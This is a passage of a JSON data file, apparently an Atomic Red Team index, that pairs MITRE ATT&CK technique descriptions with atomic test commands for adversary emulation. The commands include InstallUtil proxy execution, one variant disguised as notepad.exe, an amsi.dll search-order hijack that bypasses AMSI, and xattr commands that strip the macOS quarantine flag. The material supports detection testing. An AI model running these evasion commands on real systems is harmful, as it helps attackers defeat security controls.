-Path $InstallerAssemblyFullPath -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "InstallUtil class constructor method call", - "auto_generated_guid": "9b7a7cfc-dd2e-43f5-a885-c0a3c270dd93", - "description": "Executes the installer assembly class constructor. Upon execution, version information will be displayed the .NET framework install utility.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "test_harness": { - "description": "location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1" - }, - "assembly_dir": { - "description": "directory to drop the compiled installer assembly", - "type": "path", - "default": "$Env:TEMP\\" - }, - "invocation_method": { - "description": "the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable", - "type": "string", - "default": "Executable" - }, - "assembly_filename": { - "description": "filename of the compiled installer assembly", - "type": "string", - "default": "T1218.004.dll" - } - }, - "dependencies": [ - { - "description": "InstallUtil test harness script must be installed at specified location (#{test_harness})\n", - "prereq_command": "if (Test-Path \"#{test_harness}\") {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"#{test_harness}\"\n" - } - ], - "executor": { - "command": "# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. #{test_harness}\n\n$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = '#{invocation_method}'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil class constructor execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n", - "cleanup_command": "$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "InstallUtil Install method call", - "auto_generated_guid": "9f9968a6-601a-46ca-b7b7-6d4fe0f98f0b", - "description": "Executes the Install Method. Upon execution, version information will be displayed the .NET framework install utility.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "test_harness": { - "description": "location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1" - }, - "assembly_dir": { - "description": "directory to drop the compiled installer assembly", - "type": "path", - "default": "$Env:TEMP\\" - }, - "invocation_method": { - "description": "the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable", - "type": "string", - "default": "Executable" - }, - "assembly_filename": { - "description": "filename of the compiled installer assembly", - "type": "string", - "default": "T1218.004.dll" - } - }, - "dependencies": [ - { - "description": "InstallUtil test harness script must be installed at specified location (#{test_harness})\n", - "prereq_command": "if (Test-Path \"#{test_harness}\") {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"#{test_harness}\"\n" - } - ], - "executor": { - "command": "# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. #{test_harness}\n\n$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false /installtype=notransaction /action=install `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_Install_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = '#{invocation_method}'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil Install method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n", - "cleanup_command": "$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "InstallUtil Uninstall method call - /U variant", - "auto_generated_guid": "34428cfa-8e38-41e5-aff4-9e1f8f3a7b4b", - "description": "Executes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "test_harness": { - "description": "location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1" - }, - "assembly_dir": { - "description": "directory to drop the compiled installer assembly", - "type": "path", - "default": "$Env:TEMP\\" - }, - "invocation_method": { - "description": "the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable", - "type": "string", - "default": "Executable" - }, - "assembly_filename": { - "description": "filename of the compiled installer assembly", - "type": "string", - "default": "T1218.004.dll" - } - }, - "dependencies": [ - { - "description": "InstallUtil test harness script must be installed at specified location (#{test_harness})\n", - "prereq_command": "if (Test-Path \"#{test_harness}\") {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"#{test_harness}\"\n" - } - ], - "executor": { - "command": "# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. #{test_harness}\n\n$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false /U `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_Uninstall_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = '#{invocation_method}'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n", - "cleanup_command": "$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant", - "auto_generated_guid": "06d9deba-f732-48a8-af8e-bdd6e4d98c1d", - "description": "Executes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "test_harness": { - "description": "location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1" - }, - "assembly_dir": { - "description": "directory to drop the compiled installer assembly", - "type": "path", - "default": "$Env:TEMP\\" - }, - "invocation_method": { - "description": "the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable", - "type": "string", - "default": "Executable" - }, - "assembly_filename": { - "description": "filename of the compiled installer assembly", - "type": "string", - "default": "T1218.004.dll" - } - }, - "dependencies": [ - { - "description": "InstallUtil test harness script must be installed at specified location (#{test_harness})\n", - "prereq_command": "if (Test-Path \"#{test_harness}\") {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"#{test_harness}\"\n" - } - ], - "executor": { - "command": "# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. #{test_harness}\n\n$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false /installtype=notransaction /action=uninstall `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_Uninstall_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = '#{invocation_method}'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n", - "cleanup_command": "$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "InstallUtil HelpText method call", - "auto_generated_guid": "5a683850-1145-4326-a0e5-e91ced3c6022", - "description": "Executes the Uninstall Method. Upon execution, help information will be displayed for InstallUtil.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "test_harness": { - "description": "location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1" - }, - "assembly_dir": { - "description": "directory to drop the compiled installer assembly", - "type": "path", - "default": "$Env:TEMP\\" - }, - "invocation_method": { - "description": "the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable", - "type": "string", - "default": "Executable" - }, - "assembly_filename": { - "description": "filename of the compiled installer assembly", - "type": "string", - "default": "T1218.004.dll" - } - }, - "dependencies": [ - { - "description": "InstallUtil test harness script must be installed at specified location (#{test_harness})\n", - "prereq_command": "if (Test-Path \"#{test_harness}\") {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"#{test_harness}\"\n" - } - ], - "executor": { - "command": "# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. #{test_harness}\n\n$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/? `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_HelpText_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = '#{invocation_method}'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil HelpText property execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n", - "cleanup_command": "$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "InstallUtil evasive invocation", - "auto_generated_guid": "559e6d06-bb42-4307-bff7-3b95a8254bad", - "description": "Executes an InstallUtil assembly by renaming InstallUtil.exe and using a nonstandard extension for the assembly. Upon execution, \"Running a transacted installation.\"\nwill be displayed, along with other information about the opperation. \"The transacted install has completed.\" will be displayed upon completion.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "test_harness": { - "description": "location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1" - } - }, - "dependencies": [ - { - "description": "InstallUtil test harness script must be installed at specified location (#{test_harness})\n", - "prereq_command": "if (Test-Path \"#{test_harness}\") {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"#{test_harness}\"\n" - } - ], - "executor": { - "command": "# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. #{test_harness}\n\n$InstallerAssemblyDir = \"$Env:windir\\System32\\Tasks\"\n$InstallerAssemblyFileName = 'readme.txt'\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"readme.txt\"\n$ExpectedOutput = 'Constructor_'\n\n# Explicitly set the directory so that a relative path to readme.txt can be supplied.\nSet-Location \"$Env:windir\\System32\\Tasks\"\n\nCopy-Item -Path \"$([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())InstallUtil.exe\" -Destination \"$Env:windir\\System32\\Tasks\\notepad.exe\"\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'Executable'\n CommandLine = $CommandLine\n InstallUtilPath = \"$Env:windir\\System32\\Tasks\\notepad.exe\"\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nEvasive Installutil invocation test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n", - "cleanup_command": "Remove-Item -Path \"$Env:windir\\System32\\Tasks\\readme.txt\" -ErrorAction Ignore\nRemove-Item -Path \"$Env:windir\\System32\\Tasks\\readme.InstallLog\" -ErrorAction Ignore\nRemove-Item -Path \"$Env:windir\\System32\\Tasks\\readme.InstallState\" -ErrorAction Ignore\nRemove-Item -Path \"$Env:windir\\System32\\Tasks\\notepad.exe\" -ErrorAction Ignore\n", - "name": "powershell" - } - } - ] - }, - "T1089": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", - "type": "attack-pattern", - "created": "2017-05-31T21:31:07.958Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "url": "https://attack.mitre.org/techniques/T1089", - "external_id": "T1089" - }, - { - "external_id": "CAPEC-578", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/578.html" - } - ], - "modified": "2020-02-21T20:35:48.979Z", - "name": "Disabling Security Tools", - "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "File monitoring", - "Host intrusion prevention systems", - "Signature-based detection", - "Log analysis", - "Anti-virus" - ] - }, - "atomic_tests": [] - }, - "T1574.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Travis Smith, Tripwire", - "Stefan Kanthak" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", - "type": "attack-pattern", - "created": "2020-03-13T18:11:08.357Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.001", - "url": "https://attack.mitre.org/techniques/T1574/001" - }, - { - "external_id": "CAPEC-471", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/471.html" - }, - { - "source_name": "Microsoft Dynamic Link Library Search Order", - "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN", - "description": "Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014." - }, - { - "source_name": "FireEye Hijacking July 2010", - "url": "https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html", - "description": "Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020." - }, - { - "source_name": "OWASP Binary Planting", - "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.", - "url": "https://www.owasp.org/index.php/Binary_planting" - }, - { - "source_name": "FireEye fxsst June 2011", - "url": "https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html", - "description": "Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020." - }, - { - "source_name": "Microsoft Security Advisory 2269637", - "url": "https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637", - "description": "Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020." - }, - { - "source_name": "Microsoft Dynamic-Link Library Redirection", - "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN", - "description": "Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020." - }, - { - "source_name": "Microsoft Manifests", - "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.", - "url": "https://msdn.microsoft.com/en-US/library/aa375365" - }, - { - "source_name": "FireEye DLL Search Order Hijacking", - "url": "https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html", - "description": "Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020." - } - ], - "modified": "2021-04-26T18:37:03.748Z", - "name": "Hijack Execution Flow: DLL Search Order Hijacking", - "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Module: Module Load", - "File: File Creation", - "File: File Modification" - ], - "identifier": "T1574.001" - }, - "atomic_tests": [ - { - "name": "DLL Search Order Hijacking - amsi.dll", - "auto_generated_guid": "8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3", - "description": "Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)\nhttps://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/\n\nUpon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "copy %windir%\\System32\\windowspowershell\\v1.0\\powershell.exe %APPDATA%\\updater.exe\ncopy %windir%\\System32\\amsi.dll %APPDATA%\\amsi.dll\n%APPDATA%\\updater.exe -Command exit\n", - "cleanup_command": "del %APPDATA%\\updater.exe >nul 2>&1\ndel %APPDATA%\\amsi.dll >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1553.001": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", - "created": "2020-02-05T16:16:08.471Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1553.001", - "url": "https://attack.mitre.org/techniques/T1553/001" - }, - { - "source_name": "theevilbit gatekeeper bypass 2021", - "url": "https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/", - "description": "Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021." - }, - { - "source_name": "OceanLotus for OS X", - "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", - "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017." - }, - { - "source_name": "TheEclecticLightCompany Quarantine and the flag", - "url": "https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/", - "description": "hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021." - }, - { - "source_name": "TheEclecticLightCompany apple notarization ", - "url": "https://eclecticlight.co/2020/08/28/how-notarization-works/", - "description": "How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021." - }, - { - "source_name": "Methods of Mac Malware Persistence", - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017." - }, - { - "source_name": "20 macOS Common Tools and Techniques", - "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", - "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021." - }, - { - "source_name": "Clearing quarantine attribute", - "url": "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/", - "description": "Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017." - }, - { - "source_name": "Bypassing Gatekeeper", - "url": "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/", - "description": "Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called com.apple.quarantine can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)\n\nThe quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the com.apple.quarantine quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile. Similarly, this attribute can be recursively removed from all files in a folder using xattr, sudo xattr -d com.apple.quarantine /path/to/folder.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)\n\nApps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)", - "modified": "2022-05-05T04:58:34.172Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Subvert Trust Controls: Gatekeeper Bypass", - "x_mitre_detection": "The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. \n\nReview false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. \n\nQuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "File: File Modification", - "Command: Command Execution", - "Process: Process Creation", - "File: File Metadata" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1553.001" - }, - "atomic_tests": [] - }, - "T1553.002": { - "technique": { - "x_mitre_platforms": [ - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", - "type": "attack-pattern", - "created": "2020-02-05T16:27:37.784Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": 